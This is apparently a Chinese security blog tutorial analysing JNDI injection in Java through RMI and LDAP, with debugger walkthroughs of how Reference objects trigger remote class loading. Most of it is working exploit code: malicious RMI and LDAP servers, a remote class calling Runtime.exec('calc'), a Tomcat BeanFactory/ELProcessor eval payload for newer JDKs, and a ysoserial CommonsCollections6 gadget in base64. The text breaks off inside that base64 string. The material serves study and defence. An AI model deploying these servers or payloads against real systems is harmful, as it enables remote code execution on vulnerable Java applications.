Jndi反序列化漏洞分析

JNDI 全称为 Java Naming and Directory Interface,即 Java 命名与目录接口。它允许应用通过名称查找对象、对象引用、目录条目或其他资源,并不等同于“一个名字只能对应一个 Java 对象”。

JNDI是一个 API 抽象层,它不负责具体实现,而是提供统一的接口来访问各种命名和目录服务。这些服务的具体实现由不同的 SPI(Service Provider Interface)完成,例如:

  • RMI(Remote Method Invocation):通过 java.naming 访问远程对象注册表。
  • LDAP(Lightweight Directory Access Protocol):访问目录服务器,支持存储和查找对象。
  • DNS(Domain Name System):将域名解析为 IP 地址或其它记录。
  • COS naming(CORBA 命名服务)、文件系统 等。

0x01漏洞分析

1.1.环境搭建

java 8u0_65

服务端:

1、编写一个远程接口

作用域为public,继承Remote接口;抛出异常

1
2
3
4
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface RemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;}

2、接口实现类

实现远程接口;继承 UnicastRemoteObject 类,用于生成 Stub(存根)和 Skeleton(骨架);构造函数需要抛出一个RemoteException错误;实现类中使用的对象必须都可序列化(继承java.io.Serializable)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {
public RemoteObjImpl() throws RemoteException {
}

@Override
public String sayHello(String keywords) throws RemoteException {
String upperCase = keywords.toUpperCase();
System.out.println("upperCase = " + upperCase);
return upperCase;
}
}

3、注册远端对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.example.jndiserver;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
// initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());
Reference reference = new Reference("JndiCalc","JndiCalc","http://localhost:8000/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}

}

客户端:

1.定义一个远程对象的接口

客户端需要从注册器中获取远程对象,所以需要一个远程对象的接口,不然不知道获取对象的类型.

1
2
3
4
5
6
7
8
9
package org.example;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

2.获取远程对象

  • 调用远程对象方法,从服务端调用sayHello()方法
1
2
3
4
5
6
7
8
9
10
11
package com.jndiclient;

import javax.naming.InitialContext;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

1.2.漏洞调试

RMI原生漏洞

api 虽然是 JNDI 的服务的,但是实际上确实调用到 RMI 的库里面的,这里我们先打断点调试一下,证明 JNDI 的 api 实际上是调用了 RMI 的库里原生的 lookup() 方法。

这里断点initialContext.lookup,开始调试。

image-20260107224802612

进到 lookup() 方法里面进去,这里 GenericURLContext 类的 lookup() 方法里面又套了一个 lookup() 方法,我们继续进去

image-20260107224843609

进去之后发现这个类是 RegistryContext,在跟进一次lookup,也就是 RMI 对应 lookup() 方法的类,至此,可以基本说明JNDI 调用 RMI 服务的时候,虽然 API 是 JNDI 的,但是还是去调用了原生的 RMI 服务。

image-20260107224923725

image-20260107225724492

引用的漏洞

  • 这个漏洞被称作 Jndi 注入漏洞,它与所调用服务无关,不论你是 RMI,DNS,LDAP 或者是其他的,都会存在这个问题。,核心(利用机制):JNDI客户端在处理返回的Reference对象时,会根据其中的codebase地址去尝试动态加载远程类

原理是在服务端调用了一个 Reference 对象,它是很像代理的。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.example.jndiserver;

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
// RMI
// initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl()); // JNDI 注入漏洞
Reference reference = new Reference("Calc","Calc","http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

我们看到这个地方,原本我们是这样的

1
initialContext.rebind("rmi://localhost:1099/remoteObj", new RemoteObjImpl());

接是绑定了一个对象,而在 jndi 里面,我们可以通过 new 一个 Reference 类的方法来解决。然后再 rebind 调用它,这个思路有点像代理吧,然后调用它这个很像 URLClassLoader。

如果要攻击的话,也很简单,我们在 URLClassLoader 这个获取的方法里面添加恶意类就可以了,比如我这里是 Calc.exe 这个恶意命令调用,代码如下

1
2
3
4
5
public class JndiCalc {  
public JndiCalc() throws Exception {
Runtime.getRuntime().exec("calc");
}
}

用 Python 起一个服务器,然后再运行即可。

image-20260109154436906

报错的话是一定会报错的,因为服务端这里还是 sayHello 了,但是我们调用的那个远程 Class —————— reference 其实是没有 sayHello 这个方法的。

Reference类构造参数:

第一个参数是类名,指定了希望加载的最终目标类的名称。在漏洞利用中,这个类就是包含恶意代码的类,

第二是参数factory,指定了一个工厂类的名称。JVM在解析Reference时,并非直接实例化className对应的类,而是先加载这个工厂类,并调用其方法来创建目标对象。这是代码执行的起点,

第三个参数是地址,指定了一个基础的URL地址(codebase)。当受害应用程序在本地ClassPath中找不到factory类(和className类)时,便会从这个地址动态加载对应的.class文件。

这三个参数共同构成了一个指令,告诉受害者的Java应用程序**“去哪里”“加载哪个类”以及“由哪个类来构建目标对象”**。

客户端执行initialContext.lookup后,客户端返回一个reference类对象,客户端解析这个类的时候,发现本地没有factory指定的工厂类,于是就根据factorylocation的指示,从远程http服务器下载恶意类,jvm加载该类,初始化的时候,静态代码块就会执行恶意代码。

image-20260109160026082

打断点调试一下。

  • 断点打在 Client 中调用 lookup() 方法的地方,开始调试。

因为漏洞点在 lookup() 方法这里,所以我们是要去看 lookup() 方法的一整个流程,看一下是怎么触发恶意类,然后命令执行的。

跟进几个 lookup() 方法,直到去到 RMI 的原生的 lookup()RegistryContext

image-20260109155619203

decodeObject() 方法进去,进去之后先做了一个简单的判断,判断是否为 ReferenceWrapper,也就是判断是否为 Reference 对象。往下是一个比较重要的方法 getOBjectInstance()

image-20260109155908644

跟进getObjectInstance,下走,是关于 reference 的,这里肯定是用了 reference,强转换,将 refInfo 转换为 Reference。

image-20260109161052596

继续往下走,是关于 ref 的,意思是如果 reference 当中定义了 factory,就通过 getObjectFactoryFromReference() 方法来调用 reference 当中的 factory

image-20260109162135293

getObjectFactoryFromReference() 这个方法中,跟进看看,我们已经获取到了这个恶意类,接着执行加载类的 loadClass() 方法。

image-20260112111323746

继续往下走,获取到 codebase,并且进行 helper.loadClass(),这里就是我们前面讲到的动态加载类的一个方法 ———— URLClassLoader,最后在 newInstance() 这一步执行代码。

image-20260112111521659

漏洞是根据JNDI规范中reference对象(包含了要加载类名称,工厂类名称,url地址),攻击者搭建JNDI服务,绑定好恶意的reference对象,客户端进行lookup()方法调用,获取到了reference类,尝试本地解析,本地没有找到,就根据reference对象提供的地址远程,使用URLClassloader的类动态加载恶意类,然后在通过反射调用,newInstance()方法创建类的实例,然后恶意类中的静态方法。

这个漏洞在 jdk8u121 当中被修复,也就是 lookup() 方法只可以对本地进行 lookup() 方法的调用。

Jndi 结合 ldap

ldap 是一种协议,并不是 Java 独有的

  • LDAP 既是一类服务,也是一种协议,定义在 RFC2251(RFC4511) 中,是早期 X.500 DAP (目录访问协议) 的一个子集,因此有时也被称为 X.500-lite

LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

LDAP 的请求和响应是 ASN.1 格式,使用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些常规的增删改查操作,同时也包含一些拓展的操作类型和异步通知事件。

ldap 的 JNDI 漏洞

先起一个 LDAP 的服务,这里需要先在 pom.xml 中导入 unboundid-ldapsdk 的依赖。

1
2
3
4
5
6
<dependency>  
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
<scope>test</scope>
</dependency>
服务端
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package com.example.jndiserver;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class ldapserver {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#EvilObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}
客户端
1
2
3
4
5
6
7
8
9
10
11
package com.jndiclient;

import javax.naming.InitialContext;

public class JNDIRMIClient {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldpa://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

先用 python 起一个 HTTP 服务,再跑服务端代码,再跑客户端。

image-20260112145419491

LDAP 协议加载远程 Factory 类时,不受 RMI 中 com.sun.jndi.rmi.object.trustURLCodebase 和 com.sun.jndi.cosnaming.object.trustURLCodebase 这两个属性的限制。

从 JDK 8u191、7u201、6u211 开始,com.sun.jndi.ldap.object.trustURLCodebase 的默认值被设为 false,导致 LDAP 也无法再通过远程加载 Factory 类实现注入。

可利用的 JDK 版本区间
下限:JDK 6u141、7u131、8u121 之后(这些版本开始对 RMI 加限制,但 LDAP 仍可用)。
上限:JDK 8u191、7u201、6u211 之前(LDAP 限制生效前)。
因此实际可用的版本区间为:
6u141 < JDK ≤ 6u211 或 7u131 < JDK ≤ 7u201 或 8u121 < JDK ≤ 8u191。
LDAP + Reference 绕过 RMI 的限制,但自身也有版本门槛——只能在 JDK 8u191 / 7u201 / 6u211 以下的特定中间版本中使用。

0x02 高版本绕过

2. 1.jdk 版本在 8u191 之前的绕过手段

这里的 jdk 版本是 jdk8u121 < temp < jdk8u191;才可以打。

绕过方法很简单,就是我们上面说的 ldap 的 JNDI 漏洞,其实这也无关 ldap。通过 RMI 也是可以打的,这也就是 JNDI 通用漏洞,原因是可以动态加载字节码,分析过程和上面是一样的,也有断点,这里就不赘述了。

  • 然后我们集中看一下 jdk8u191 之后的版本对于这个漏洞是通过什么手段来修复的。

修复手段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 旧版本JDK  
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {

ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
}


// 新版本JDK
/**
* @param className A non-null fully qualified class name.
* @param codebase A non-null, space-separated list of URL strings.
*/
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
} else {
return null;
}
}

在使用 URLClassLoader 加载器加载远程类之前加了个if语句检测

根据 trustURLCodebase的值是否为true 的值来进行判断,它的值默认为 false。通俗的来说,jdk8u191 之后的版本通过添加 trustURLCodebase 的值是否为 true 这一手段,让我们无法加载 codebase,也就是无法让我们进行 URLClassLoader 的攻击了。

下面我们来讲 jdk8u191 版本之后的绕过手段。

2.2. jdk 版本在 8u191 之后的绕过方式

这里我们主要的攻击方式是 利用本地恶意 Class 作为Reference Factory

绕过手法一、利用本地恶意 Class 作为 Reference

简单地说,就是要服务端本地 ClassPath 中存在恶意 Factory 类可被利用来作为 Reference Factory 进行攻击利用。该恶意 Factory 类必须实现 javax.naming.spi.ObjectFactory 接口,实现该接口的 getObjectInstance() 方法。

大佬找到的是这个 org.apache.naming.factory.BeanFactory 类,其满足上述条件并存在于 Tomcat8 依赖包中,应用广泛。该类的 getObjectInstance() 函数中会通过反射的方式实例化 Reference 所指向的任意 Bean Class(Bean Class 就类似于我们之前说的那个 CommonsBeanUtils 这种),并且会调用 setter 方法为所有的属性赋值。而该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象,均是攻击者可控的。

攻击利用

具体依赖 Tomcat 中的 jar 包为:catalina.jar、el-api.jar、jasper-el.jar。

版本:但是一些高版本的Java也不行,本次使用8u202

image-20260112152844602

现在来看下RMI攻击向量的代码是如何实现的。

攻击利用

具体依赖 Tomcat 中的 jar 包为:catalina.jar、el-api.jar、jasper-el.jar。

服务端pom:
1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>6.0.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.38</version>
</dependency>
恶意服务端代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.example.jndiserver;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// JNDI 高版本 jdk 绕过服务端
public class ldapserver {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry( 1099);
// 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
true,"org.apache.naming.factory.BeanFactory",null);
// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
System.out.println("[*]Evil command: calc");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
客户端pom:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.38</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.38</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.38</version>
</dependency>
客户端:
1
2
3
4
5
6
7
8
9
10
import javax.naming.Context;  
import javax.naming.InitialContext;

public class JNDIBypassHighJavaClient {
public static void main(String[] args) throws Exception {
String uri = "rmi://localhost:1099/Object";
Context context = new InitialContext();
context.lookup(uri);
}
}

image-20260112163717596

IDEA调试分析:

客户端context.lookup(uri);开始调试,前面都一样,直接进到decodeObject() 方法当中。

image-20260112165009534

继续往前,到getObjectInstance跟进,在跟进factory.getObjectInstance

image-20260112172553881

会判断 obj 参数是否是 ResourceRef 类实例,是的话代码才会往下走,这就是为什么我们在恶意 RMI 服务端中构造 Reference 类实例的时候必须要用 Reference 类的子类 ResourceRef 类来创建实例

image-20260112175616894

后续经过一系列的赋值,执行 loadClass 方法,然后继续。接着获取 Bean 类为 javax.el.ELProcessor 后,实例化该类并获取其中的 forceString 类型的内容,其值是我们构造的 x=eval 内容:

image-20260112173249172

继续往下调试可以看到,查找 forceString 的内容中是否存在”=”号,不存在的话就调用属性的默认 setter 方法,存在的话就取键值、其中键是属性名而对应的值是其指定的 setter 方法。如此,**之前设置的 forceString 的值就可以强制将 x 属性的 setter 方法转换为调用我们指定的 eval() 方法了,这是 BeanFactory 类能进行利用的关键点!**之后,就是获取 beanClass 即 javax.el.ELProcessor 类的 eval() 方法并和 x 属性一同缓存到 forced 这个 HashMap 中:

image-20260112173402645

接着是多个 do while 语句来遍历获取 ResourceRef 类实例 addr 属性的元素,当获取到 addrType 为 x 的元素时退出当前所有循环,然后调用 getContent() 方法来获取x属性对应的 contents 即恶意表达式。这里就是恶意 RMI 服务端中 ResourceRef 类实例添加的第二个元素:

image-20260112174923134

获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")

image-20260112175024631

总结:

没有经过trustURLCodebase,主要是判断构造 Reference 类是不是继承ResourceRef类,然后经过判断之后,取值,反射就可以调用了javax.el.ELProcessor 类的 eval() 方法。

绕过手法二、利用 LDAP 返回序列化数据,触发本地

LDAP 服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象。如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。此时,如果服务端 ClassPath 中存在反序列化多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击。

这也就是平常 JNDI 漏洞存在最多的形式,通过与其他链子结合

当然,这个用自己的 EXP 输出也行。

1
java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64

输出:

1
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=

恶意的LDAP服务端:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import com.unboundid.util.Base64;  
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class JNDIGadgetServer {

private static final String LDAP_BASE = "dc=example,dc=com";


public static void main (String[] args) {

String url = "http://vps:8000/#ExportObject";
int port = 1234;


try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;


/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}


/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}


protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}

// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());

// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFq